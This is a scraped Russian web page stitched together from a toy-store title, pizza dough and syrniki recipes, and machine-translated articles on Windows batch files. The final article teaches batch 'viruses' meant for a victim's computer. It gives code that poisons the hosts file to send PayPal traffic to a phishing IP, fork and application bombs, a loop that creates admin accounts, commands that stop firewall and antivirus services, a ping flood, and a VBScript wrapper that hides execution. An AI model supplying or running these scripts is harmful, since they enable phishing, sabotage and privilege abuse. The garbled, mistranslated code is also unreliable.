Крутой замес: купить по цене 259 ₽ в интернет-магазине Детский мир в Москве и России, отзывы, фото

Лучшее тесто для пиццы. Гарантированный результат

По моему рецепту тесто для пиццы всегда получается мягкое и эластичное, очень хорошо тянется. Легкий способ приготовить идеальную основу для вкусной пиццы.

Автор: Сергей Джуренко

Буду рад если вы поделитесь рецептом.

Какой бы ни была пицца — домашней, или приготовленной мастером-пиццайоло, с колбасой или мидиями, с пармезаном или моцареллой, в любом случае, качественное тесто для пиццы — наиглавнейшее!!!

Хорошее тесто — залог успеха. Можно перестараться с начинкой, можно добавить мало пармезана, и пицца все рано получится, возможно, не такая как хотелось бы, но все равно вкусная. А вот если проколоться с тестом, то пиццу придется выбросить.

Не все знают, что тесто для пиццы можно хранить в холодильнике, в морозилке. Однако, я считаю, что из свежего теста получается — идеально, как в пиццерии или даже вкуснее.

У большинства знакомых сложность в приготовлении домашней пиццы — именно в приготовлении теста.

А ведь это, как не странно, самая простая часть пиццы. Основа для пиццы — делается, пока придумывается начинка.

Сохранить

Слушать рецепт

Ингредиенты

1 пицца 34 см

  • Мука пшеничная высшего сорта 2 стакана
    (260 г)
  • Дрожжи «быстрые» 5 г
  • Соль 1/3 ч. л.
  • Сахар 2 ч. л.
  • Оливковое масло 2-3 ст. л.

Пошаговый рецепт

  1. В Италии используют муку из твердых сортов пшеницы. У нас такая мука редкость, поэтому предлагаю использовать пшеничную муку грубого помола, жерновую, размолотую вместе с оболочкой или обычную муку высшего сорта.
  2. В стакане муки — 130 грамм, это подтверждается кулинарными книгами и собственными измерениями. Для пиццы диаметром 34 см достаточно муки около 250 грамм. Т.е. два почти полных стакана.
  3. Обязательно просеять сквозь сито. В муке часто попадается много интересного — комки, камешки, остатки оболочек пшеницы. Их надо отсеять и выбросить.
  4. Добавить в муку сухие «быстрые» дрожжи. Добавить 1/3 ч. л. мелкой соли «экстра». Добавить 2 ч. л. сахара (без верха).
  5. Размешать вилкой, чтобы дрожжи, соли и сахар равномерно смешались с мукой.
  6. В стакан влить обычную воду — 160-170 мл. Поставить стакан с водой в микроволновку на 10-12 секунд, чтобы вода немного нагрелась.
  7. Добавить в воду 2-3 ст. л. самого лучшего оливкового масла. Перемешать. Влить в смесь воду и размешать до однородного состояния.
  8. Замесить тесто — оно будет слегка липкое и очень мягкое. Понемногу добавляя муку, вымешивать тесто, пока оно перестанет липнуть к рукам. Скатать шар из теста. Переложить тесто в небольшую чистую и сухую миску и накрыть чистой полотняной салфеткой.
  9. Консистенция теста — мягкое и эластичное, очень хорошо тянется.
  10. Поставить тесто в теплом месте на 40-45 минут.
  11. После того как тесто поднимется, подмесить его и растянуть в лепешку толщиной 5-7 мм. Лучше раскатывать не скалкой, а растянуть руками на противень.
  12. Смазать форму для пиццы оливковым маслом и растянуть на нее тесто. Края поджать во внутрь, чтобы получился бортик.
  13. Раскатанное тесто тонкое, дайте ему подняться. Толщина готового теста в пицце будет определяться степенью поднятия теста непосредственно на форме — от тонкого и хрустящего, до пышного. Строго на ваш вкус.
  14. Наколоть тесто вилкой, иначе оно поднимется куполом при выпекании, из-за пара.
  15. И далее дайте волю фантазии, разложите начинку на тесто.
    Варианты приготовления:
    • Пицца Маргарита
    • Пицца 4 сыра
    • Пицца с салями
    • Еще 50 рецептов пиццы
  16. Выпекается пицца обычно 18-20 минут при температуре 190-200 градусов при визуальном контроле нижней части теста. Не правда ли, совершенно несложно?

Тесто для пиццы как в пиццерии — обязательно получится!

Как приготовить тесто для пиццы заранее?
Замесите тесто выполнив шаги 1-5, но оставьте тесто подниматься на 8-12 часов в холодильник (если нужно дольше). Медленный подъём придает тесту особый вкус! После этого продолжайте с шага 6 и раскатывайте тесто. Если тесто не удвоилось в объёме, то дайте ему постоять 30 минут при комнатной температуре.
Можно ли замораживать тесто для пиццы?
После того как тесто поднялось шаг 6, вы можете заморозить тесто в виде шарика, чтобы сделать пиццу позже.
Для этого оберните его в пищевую плёнку или положите в зип-пакет, убрав из него воздух и плотно закрыв. Храниться замороженное тесто 3 месяца.
Как размораживать тесто для пиццы?
Положите тесто для пиццы в холодильник на 8 часов или на ночь. После этого достаньте тесто из холодильника на 30 минут и готовьте пиццу начиная с шага 6.
Как раскатать тесто для пиццы?
Если вы хотите получить воздушное и в тоже время хрустящее тесто, то не стоит раскатывать скалкой. Она выдавливает и лопает большинство пузырьков. Лучше распределять тесто пальцами до диска диаметром 16 см, после чего переложить на ладонь и растянуть тесто по форме.

Похожие рецепты

Факты про рецепт
Выход:1 пицца 34 см
Калорийность:
251
Подготовка:10 мин
Приготовление:50 мин
Готовится за:60 мин
Рубрика:Пицца
Кухня:Итальянская кухня
Рейтинг:

⭐ ⭐ ⭐ ⭐ ⭐

4. 5 Оценок: 2857

Нежные сырники из творога на завтрак

Нежные сырники из творога с яйцом на сковороде

К сожалению, у вас выключен или не работает Javascript. Для работы с большинством функций на нашем сайте это необходимый элемент. Обратитесь к своему администратору, чтобы решить эту проблему.

Состав / ингредиенты

6

Изменить состав

порций:

Пошаговое приготовление

Время приготовления: 25 мин PT25M
  1. Шаг 1:

    Как сделать нежные сырники из творога? Творог может быть любой жирности. Но из жирного творога будет вкуснее. Разомните творог вилкой, чтобы не было комков, добавьте сахар или сахарозаменитель, не боящийся термической обработки, соль, ванилин (на кончике ножа) или ванильный сахар (около 1 ст. л.), перемешайте. Всыпьте 3-4 ст. л. просеянной муки, добавьте яйцо и ещё раз перемешайте. А можно сразу одномоментно смешать все ингредиенты, кому как нравится.

  2. Шаг 2:

    Тесто должно хорошо держать форму и быть очень мягким и нежным. Если используемый вами творог более влажный и жирный, добавьте больше муки. И, наоборот, чем он суше, тем меньше нужно муки, зато следует добавить пару ложек сметаны, кефира или молока.

  3. Шаг 3:

    Рабочую поверхность присыпьте мукой. Скатайте колбаску и разрежьте её на равные кругляши диаметром примерно 2-3 см. Каждый кусочек обваляйте с двух сторон в муке, слегка приплюснуте, подровняв форму. Или сформируйте сырники влажными руками и потом обваляйте их в муке.

  4. Шаг 4:

    Влейте на сковородку растительное масло с высокой температурой дымления. Хорошо разогрейте. Выложите сырники. Предварительно стряхните с них излишки муки, чтобы она не горела и не испортила внешний вид. Обжаривайте их с двух сторон до румяности. Убавьте нагрев на минимум и доведите сырники под крышкой до готовности (около 1-2 минут).

    Подавайте сырники теплыми со сметаной или другим любимым соусом. Приятного аппетита!

Обязательно мойте яйца перед использованием, так как даже на кажущейся чистой скорлупе могут находиться вредные бактерии. Лучше всего использовать моющие средства для пищевых продуктов и щетку.

Будьте готовы к тому, что муки может потребоваться больше или меньше, чем указано в рецепте. Ориентируйтесь не на количество муки, а на желаемую консистенцию теста. Чтобы избежать ошибок, читайте о муке и её свойствах!

Важно просеять муку, чтобы насытить ее кислородом. Тогда выпечка получится воздушной и хорошо поднимется при выпекании.

Проверить, достаточно ли хорошо масло разогрелось на сковороде, можно простым способом. Опустите в него деревянную лопатку. Если вокруг нее собрались пузырьки, значит можно приступать к процессу жарки.


Для чего нужен этот код?
Внимание! В телефоне/планшете должно быть установлено специальное приложение.

<a href=”/about-qr-code” target=”_blank”>Читать более подбробно об этом коде</a>. “>

Похожие рецепты

Остальные категории

Блюда из творога на сковороде

Детские рецепты для детей приготовление

На завтрак

Выпечка из творога

Завтрак из яиц пошагово

Из творога быстро и вкусно пошаговые рецепты с фото

Выпечка на скорую руку

Сладкая выпечка приготовление пошагово

Блюда из творога на завтрак

Выпечка из теста на сковороде

Бездрожжевая выпечка

Рецепты без сливочного масла и маргарина

Блюда за 30 минут

Калорийность продуктов, возможных в составе блюда

  • Творог 40%-ной жирности – 466 ккал/100г
  • Творог 20%-ной жирности – 233 ккал/100г
  • Творог 18%-ной жирности – 226 ккал/100г
  • Творог 10%-ной жирности – 156 ккал/100г
  • Творог обезжиренный – 75 ккал/100г
  • Творог со сметаной – 260 ккал/100г
  • Творог фруктовый – 147 ккал/100г
  • Творог мягкий диетический – 170 ккал/100г
  • Творог «виталиния» – 64 ккал/100г
  • Творог «утренний» ( «данон») без сахара – 91 ккал/100г
  • Творог – 156 ккал/100г
  • Сахар-песок – 398 ккал/100г
  • Сахар – 398 ккал/100г
  • Масло растительное – 873 ккал/100г
  • Соль – 0 ккал/100г
  • Мука пшеничная – 325 ккал/100г
  • Ванилин – 288 ккал/100г
  • Куриное яйцо – 80 ккал/100г
Калорийность продуктов: Творог, Пшеничная мука, Куриные яйца, Сахар, Соль, Ванилин, Растительное масло

Что такое пакетные файлы в Windows? Веселые и крутые трюки с пакетными файлами

Пакетные файлы в Windows — это файлы сценариев. Пакетный файл представляет собой неформатированный текстовый файл. Этот файл состоит из набора команд и имеет расширение .bat или .cmd . Термин «пакет» адаптирован из пакетной обработки, что означает неинтерактивное выполнение. С помощью пакетных файлов в Windows пользователи могут упростить повторяющиеся или рутинные задачи. Когда пользователи вводят имя файла в командной строке, cmd.exe запускает команды последовательно, как они появляются в файле. Некоторые типичные команды, используемые в пакетных файлах в Windows: Call, Echo, Endlocal, For, Goto, If, Pause, Rem, Setlocal и Shift.

Как создать .bat или пакетные файлы в Windows

Как упоминалось ранее, пакетный файл содержит серию из команд DOS и используется для автоматизации часто выполняемых задач. Таким образом, вам не придется повторно писать одни и те же команды.

Пакетный файл создается с помощью Блокнота . Текстовый файл состоит из команд, которые вы хотите выполнить. Чтобы создать пакетный файл , вы должны написать команду в виде текста в Блокноте и сохранить файл как файл .bat. до выполните команду , вам просто нужно дважды щелкнуть пакетный файл. Следовательно, хорошо написанный пакетный файл в Windows может сэкономить много времени.

Некоторые основные команды в пакетных файлах:

  • ECHO: для отображения текста на экране
  • @ECHO OFF: для скрытия текста
  • START: для запуска файла с приложением по умолчанию
  • REM: для ввода строка комментария в программе
  • MKDIR: для создания каталогов
  • RMDIR: для удаления каталогов
  • DEL: для удаления файлов
  • COPY: для копирования файла или файлов
  • XCOPY: для копирования файлов с дополнительными параметрами
  • FOR/IN/DO: для указания файлов
  • TITLE: для редактирования заголовка окна

Классные и забавные трюки с пакетными файлами

1. Матрица

Помните фильм «Матрица»? Вы действительно можете сделать свой фон похожим на этот зеленый экран Matrix с помощью этого пакетного файла. Это определенно для крутого взгляда и ничего больше. Чтобы создать пакетные файлы такого типа в Windows, выполните следующие действия:

Шаг 1: Откройте текстовый документ и переименуйте его в «matrix.bat». Как только расширение текстового файла изменится на .bat, его значок изменится на шестеренку.

Шаг 2: Теперь вы можете отредактировать файл, чтобы написать свою программу. Для этого щелкните файл правой кнопкой мыши и выберите «Редактировать». Он должен открыться в блокноте. Вот командные строки, которые нужно вставить в блокнот.

@echo off

цвет 2

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

перейти к началу

Нажмите «Сохранить» и дважды щелкните по нему. Это даст матричный эффект в окне. Разверните окна CMD и нажмите F11, чтобы получить лучший полноэкранный эффект.

2. Password Creator

Вы даже можете создать файл, защищенный паролем, который создается и доступен с помощью пакетного (.bat) файла. Это один из слегка полезных пакетных файлов в Windows, который должен отлично работать, чтобы скрывать вещи от людей, мало или совсем не знакомых с компьютером или пакетными файлами.

Следуйте этим шагам, чтобы создать пакетные файлы создателя пароля в Windows:

Шаг 1: Открыть блокнот

Шаг 2: Копировать и вставьте следующий код

CLS

@ECHO OFF

CLS

@ECHO OFF

CLS

title Cyber ​​Attack Weapon System

если СУЩЕСТВУЕТ "Панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D}" перейти к РАЗБЛОКИРОВАТЬ

если НЕ СУЩЕСТВУЕТ скрыто перейти к 9 скрыто0002 :CONFIRM

эхо Вы уверены, что заблокировали эту папку? (Y/N)

set/p "cho=>"

if %cho%==Y перейти к LOCK

если %cho%==y перейти к LOCK %

900 %==n goto END

if %cho%==N goto END

echo Неверный выбор.

перейти ПОДТВЕРДИТЬ

:LOCK

ren Скрытая панель управления.{21EC2020-3AEA-1069-A2DD-08002B30309D} "

Атриб +H +S" Панель управления. {21EC2020-3AEA-1069-A2DD-08002B3093

ECHO Введите пароль, чтобы разблокировать безопасную папку

SET/P "Pass =>"

, если не %pass %== 1234 Goto Fail

GOTO ONLOCK2

9002

GOTO ONLOC

CLS

ECHO Введите пароль, чтобы разблокировать вашу безопасную папку

SET/P "PASS =>"

, если не %pass %== 1234 Fail

атрибу "Панель управления. {21EC2020-3AEA-1069-A2DD-08002B30309D}"

REN "Панель управления. перейти к концу

: Fail

@echo OFF

ЦВЕТ 02

ECHO Предупреждающий вирус Инициировал общее количество Hardrive.

:tricks

if %count% == 200 goto shutdown

echo %random%%random%%random%%random%%random%%random%%random%0092random%

echo набор /количество=%количество%+1

GOTO TRICKS

: Закрытие

CLS

: Выключение

Закрытие -S -S 45 /C "Вы пробовали Acces A Acces, а не ваш. До свидания."

echo Введите пароль Start Abort Sequence

set/p "pass=>"

if NOT %pass%== 1234 goto shutdown 9000ated 7 90 Abortit 906 Abortit0009

goto Abort

:Abort

C:\Windows\System32\shutdown.exe -a

Abort Successful

timeout /t 3 /nobreak >nul

CLS

GOTO ONLOCK

GOTO END

: MDHIDDEN

MD Hidden

ECHO Hidden Created Create

ECHO Hidden Created Create

. 0004 Установите пароль

Пароли по умолчанию установлены на 1234. Их также можно изменить. Чтобы изменить пароль, найдите в коде, где написано:

, если НЕ %pass%== 1234, перейдите на

и замените 1234 на выбранный вами пароль. Сохраните файл с расширением .bat.

Когда вы открываете файл в первый раз, он мигает, и появляется другой файл с именем «Скрытый». Чтобы скрыть этот файл, просто щелкните исходный файл еще раз, и он спросит вас, хотите ли вы скрыть файл. Если вы наберете Y, он скроет его, но если вы наберете N, ничего не произойдет. После того, как вы скроете его и позже захотите получить к нему доступ, вам нужно снова щелкнуть исходный файл, и он запросит у вас пароль.

Однако следует помнить, что метод не является надежным. Любой, у кого мало знаний или опыта работы с компьютерными системами и пакетными файлами, скорее всего, сможет обойти его довольно быстро.

3. Color Tester

Если вы хотите протестировать цвет с помощью пакетных файлов в Windows, то вот код для него. Это просто, и это может быть очень полезно.

Откройте блокнот и скопируйте и вставьте следующий код.

@echo off
: тест
помощь цвет
эхо ------------------------------------------ ----------------
эхо.
echo Введите цветовой код для проверки цветов.
echo Для выхода просто нажмите X.
set/p color=
color %color%
goto test

Сохраните файлы с расширением .bat.

Если вы хотите узнать больше о таких трюках с пакетными файлами в Windows, вы можете посетить Instructable.com.

11 безумных вещей, которые можно сделать с помощью пакетного программирования

Привет! В этой статье мы научимся создавать некоторые вирусные программы с помощью пакетных скриптов.

Давайте перейдем к некоторым серым оттенкам пакетного программирования. Подождите, подождите,

 что это за пакетное программирование в первую очередь?

Не волнуйтесь, к концу этой статьи вы узнаете, что такое пакетное программирование и некоторые интересные вещи, такие как программирование вирусов с помощью пакетного сценария.

1. Что такое партия?

Проще говоря, общее значение пакета — это сбор вещей в единое целое. Технически мы называем их здесь набором команд.

Пакетный файл содержит набор команд, которые будут выполняться на уровне операционной системы. Обычно пакетные файлы имеют расширение .bat. Эти файлы интерпретируются построчно в интерпретаторе командной строки cmd.exe во всех операционных системах семейства DOS, таких как FreeDos и MS-Dos и т. д. В Unix, например, в операционных системах, пакетный файл называется сценарием оболочки. Пакет команд, выполняемых в одном скрипте, называется пакетным скриптом.

2.Что такое пакетное программирование?

Это собственный язык программирования для Windows, который обрабатывает команды Dos как последовательность. Пакетные файлы запрограммированы набором команд, которые будут выполняться построчно. Эта последовательность команд используется для операций более низкого уровня при операциях с дисками и на уровне операционной системы.

обычно это удаление файлов того же или другого типа, очистка системного процесса, завершение задач, планирование идентификаторов процессов, очистка некоторых ошибок в операционной системе и т. д.
Создание программ для выполнения некоторых автоматизированных задач, таких как удаление временных файлов и любые другие действия, может быть выполнено с помощью пакетного программирования в Windows и сценариев оболочки в Linux

Какие есть режимы в пакете?

Они делятся на два типа пакетных режимов.

  • интерактивный режим.

В этом режиме требуется вмешательство человека для выполнения задачи после выполнения для файла. Основываясь на человеческом вводе, будут выполняться операции. Это похоже на то, как программа спрашивает, действительно ли вы хотите удалить какой-либо файл, или спрашивает, сколько раз вы хотите сделать то или иное действие.

  • пакетный режим (тихий режим).

Этот режим полностью противоположен интерактивному режиму. После выполнения командного файла все будет работать в фоновом режиме. В этом режиме нет необходимости в человеческом взаимодействии. Не нужно никаких материалов или инструкций для нашей стороны.

Теперь мы собираемся собрать наш пакетный вирус в этом режиме. Но прежде чем перейти к этому, нам нужно ознакомиться с командами, которые будут использоваться.

3.Тип пакетных команд.

  • внутренние команды.

Внутренние команды — это те, которые по умолчанию поставляются с операционными системами, другими словами, мы называем их встроенными командами. Например, dir, cls, echo, del и многие другие.

  • внешние команды.

Внешние команды напоминают команды, часто создаваемые после установки каких-либо приложений. В основном некоторые внешние команды будут работать только в окне запуска. Например: PsExec , PsFile , PsGetSid , PsInfo , PsKill , PsList , PsLoggedOn и так далее.

"cd"                     —- сменить директора.

":  и перейти"        —- для импликации цикла.

«эхо»               —- печать.

«echo off»         —- остановить печать выполнения пакетного файла.

«вызов»                     — используется для запуска или вызова файла и команд.

«старт»                   — для запуска приложений и служб.

«net users»          —- Добавляет или изменяет учетные записи пользователей или отображает информацию об учетных записях пользователей                      — добавление содержимого в редактор регистров

«ping»                     — отправка пакетов по сети для определения работоспособности или отсутствия хоста

4. Как создать пакетную программу?

Для создания пакетной программы откройте любой текстовый редактор и программу с некоторыми командами и сохраните с расширением .bat, вот и все, вы получите исполняемую пакетную программу. Логотип будет таким для пакетных файлов

5. Вирус программирования для машин Windows.

Прежде чем начать небольшое предостережение! при этом вся информация в этой статье предназначена только для образовательных целей. Мы не несем ответственности за то, что вы делаете. Начнем с

Вирус репликатора папок:

 cd\
компакт-диск C:\Пользователи\имя пользователя\Рабочий стол
:петля
мд вирус
компакт-диск вирус
перейти в петлю
 

  Сохраните его как пакетный файл с расширением .bat, прежде чем сделать это, вы должны изменить код, изменив место, где он говорит «9».0468 имя пользователя ’ и вместо этого замените его текущим именем пользователя, вошедшим в систему. Это путь, очень хочется увидеть волшебство. Репликация папок будет происходить в этом месте. Затем запустите его на компьютере жертвы, чтобы заразить его.

  Как бы то ни было, особого вреда не причиняет, но копирует папку внутри папки и так далее. Это создаст каталог внутри другого каталога с тем же именем, так что это не будет выглядеть дерьмом, поскольку все находится внутри одного основного каталога, более того, удаление корневого каталога удалит все неуклюжие вещи, сделанные этим фрагментом кода.

Отравление DNS:

Пакетный файл может иметь возможность модифицировать хост-файл DNS, который находится внутри C:\windows\system32\drivers\etc\hosts на некоторые вредоносные веб-сайты вместо того, чтобы направить вас на законный веб-сайт. Это также может быть использовано для фишинга, то есть для перенаправления вас на поддельный веб-сайт, который выглядит точно так же, как настоящий, созданный хакерами, а затем для кражи учетных данных. Но для этого скрипта вам нужны права администратора.

 @эхо выключено
эхо 10.109.74.45 www.google.com >> C:\windows\system32\drivers\etc\hosts
эхо 10.115.46.73 www.paypal.com >> C:\windows\system32\drivers\etc\hosts
выход
 

Эта программа создает новую запись в файле hosts, так что всякий раз, когда пользователь пытается получить доступ к этому сайту, он/она будет перенаправлен на поддельный фишинговый сайт, размещенный на том IP-адресе, который мы изменили. В приведенном выше случае всякий раз, когда пользователь пытается открыть сайт www.paypal.com, он будет перенаправлен на 10.115.46.73, хакер создаст поддельный сайт PayPal, который выглядит точно так же, как оригинальный законный сайт. Чтобы он мог получить учетные данные, когда вы вошли.

Интересно прочитать: Видеоруководство по отравлению DNS

Форк-бомбардировка:

Большинство из нас слышали о слове ' fork() ', которое используется для создания нового процесса, например мудрого fork. бомбардировка — это не что иное, как вызов программы сам по себе снова и снова с бесконечным циклом и крах системы из-за появления на экране сотен окон.

 @эхо выключено
:петля
Исследователь
Вызов forkBomb.bat
Перейти к петле
 

Скопируйте указанную выше программу, вставьте ее в файл блокнота и сохраните как «forkBomb.bat». Команда проводника, заданная внутри файла, откроет проводник, затем из-за цикла снова вызывается тот же командный файл, который, в свою очередь, открывает несколько проводников, аналогичным образом он продолжает вызывать саму программу снова и снова, пока система не выйдет из строя или не зависнет. вверх.

Application Bomber:

Application Bomber очень похож на Fork Bombing, который мы видели ранее, но здесь, когда файл выполняется, он начинает открывать все приложения, запрограммированные в этом файле, и цикл продолжается до тех пор, пока пользователь закрыл терминал cmd, на котором запущен этот пакетный файл.

 @эхо выключено
:петля
запустить блокнот
запустить винворд
запустить mspaint
начать писать
запустить командную строку
запустить проводник
начать контроль
запустить фаерфокс
запустить msconfig
перейти в петлю
 

Эта пакетная программа открывает следующие приложения, такие как блокнот, MS Word, Microsoft Paint, WordPad, командную строку, файловый менеджер, панель управления и Firefox в бесконечном цикле, что приводит к краху системы и, как результат, к простому сбою системы. или перезагружается.

Пользовательский флудер:

пользовательский флудер — это программа, которая заливает учетные записи пользователей. Он начнет создавать множество учетных записей пользователей в системе, которую он собирается выполнить.

 @эхо выключено
:usrflood
установить usr=%random%
пользователей сети %usr% %random% /добавить
сетевые администраторы локальной группы %usr% /add
перейти к usrflood
 

Учетные записи пользователей будут созданы со случайным числом в качестве имени пользователя с помощью переменной среды «%random%». И пароль также будет назначен напрямую, так как он запрограммирован, это тоже случайное число. Всем учетным записям пользователей будут присвоены права администратора.

Флудер Matrix Folder:

Следующая программа заполнит ваш компьютер папками. Эта программа имеет тенденцию создавать более 3000 папок менее чем за минуту со случайными числами.

 @эхо выключено
:петля
мкдир %случайный%
перейти в петлю
 

Выше скриншот с моего рабочего стола в левом верхнем углу видно флуд с именем батника. Я запустил этот файл только на 2 секунды, он испортил мой рабочий стол, поэтому Халк выглядит более злым!

Блокировщик службы:

Да! То, что вы думаете, правильно. Приведенный ниже фрагмент кода остановит некоторые важные службы Windows.

 @эхо выключено
чистая остановка «Брандмауэр Windows»
чистая остановка «Центр обновления Windows»
чистая остановка рабочая станция
чистая остановка "DHCP-клиент"
чистая остановка "DNS-клиент"
чистая остановка «Диспетчер очереди печати»
чистая остановка Темы
выход
 

эта программа начнет останавливать вышеупомянутые системные службы. Что мне больше всего нравится в этом фрагменте кода, так это то, что он также может останавливать службы антивируса. Чтобы мы могли делать больше вредоносных действий, которые антивирус больше не может остановить. Жертве необходимо включить или запустить остановленные службы вручную.

Повторное сопоставление нажатия клавиш:

Следующий код фрагмента пакетной программы помогает переназначить нажатие клавиши путем изменения записи « scancodemap » в редакторе реестра. Прилагаемый здесь код изменяет ключ с A на B, так что если какой-либо пользователь нажмет клавишу « a » на клавиатуре, он получит « b », отображаемый на экране, также вы можете сопоставить любые клавиши.

 @эхо выключено
reg add "HKLM\System\CurrentControlSet\Control\Раскладка клавиатуры" /v "ScancodeMap" /t REG_BINARY /d 000000000000000000200000030001e00000000000
выход
 

Если вы хотите испачкать руки для переназначения других клавиш, вы должны указать коды ascii для каждой клавиши, которая была предварительно назначена.

 

Пакетный флудер:

Пакетный флудер будет действовать как пинг смерти. Это замедлит работу компьютера в вашей сети, введя IP-адрес системы в наш код. Но один недостаток этого кода заключается в том, что он также замедляет нашу систему, потому что открывает много терминалов cmd. Приводит к затоплению терминалов в вашей системе.

 @эхо выключено
:петля
пинг -л 65535 -т 192.168.1.101
запустить pingflooder.bat
перейти в петлю
 

или же вы можете запустить этот код в системе жертвы и ввести IP-адрес самой жертвы. Таким образом, это становится двусторонней атакой.

Скрытый вирус, использующий VBscript:

Единственная проблема, связанная с вышеперечисленными пакетными кодами вирусов, заключается в том, что при выполнении он начинает открывать терминал cmd. Чтобы жертва знала о чем-то ненормальном. Итак, мы собираемся сделать эти вирусы в скрытом режиме.

 Установить objShell = CreateObject("WScript.Shell")
strCommand = "C:\yourfile.bat"
objShell.Run strCommand, vbHide, TRUE
 

Все, что вам нужно сделать, это просто скопировать путь к пакетному вирусу с именем и расширением на свой компьютер и вставить его в указанный выше vbscrpit (visual basic). Итак, не нужно запускать пакетный файл, достаточно выполнить этот VBscript, он заставляет пакетный файл выполняться в скрытом режиме. он работает в фоновом режиме и остается скрытым. Этот файл необходимо сохранить в расширении .vbs. Это сделает наш вирус скрытым во время выполнения. Единственный способ завершить процесс — открыть диспетчер задач и убить процесс с надписью WScript.

Преобразование пакетных файлов в исполняемые файлы:

До сих пор мы видели много вещей, создавая вирусные программы, делая их незаметными при выполнении на компьютере жертвы.